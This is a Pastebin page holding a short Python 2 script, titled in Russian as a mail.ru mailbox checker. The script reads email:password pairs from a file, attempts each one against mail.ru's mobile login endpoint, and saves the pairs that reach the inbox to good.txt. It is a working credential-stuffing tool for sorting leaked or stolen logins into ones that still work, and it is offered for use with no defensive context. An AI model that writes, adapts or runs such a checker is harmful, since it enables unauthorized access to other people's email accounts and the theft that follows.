Advertisement
stuppid_bot

Чекер мыльников на mail.ru

Jun 28th, 2014
1,517
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.64 KB | None | 0 0
  1. # -*- coding: utf8 -*-
  2. import httplib
  3. import urllib
  4.  
  5. def check_mail(email, password):
  6.     c = httplib.HTTPSConnection('m.mail.ru')
  7.     c.request('HEAD', '/cgi-bin/auth?Login=' + urllib.quote(email) + '&Password=' + urllib.quote(password))
  8.     r = c.getresponse()
  9.     return r.getheader('location') == 'https://e.mail.ru/messages/inbox/?back=1'
  10.  
  11. f = open('mail.txt', 'r')
  12. lines = f.read().splitlines()
  13. f.close()
  14. L = []
  15. for line in lines:
  16.     email, password = line.split(':', 1)
  17.     try:
  18.         if check_mail(email, password):
  19.             L.append(line)
  20.     except Exception, e:
  21.         print e
  22. open('good.txt', 'w').write('\r\n'.join(L))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement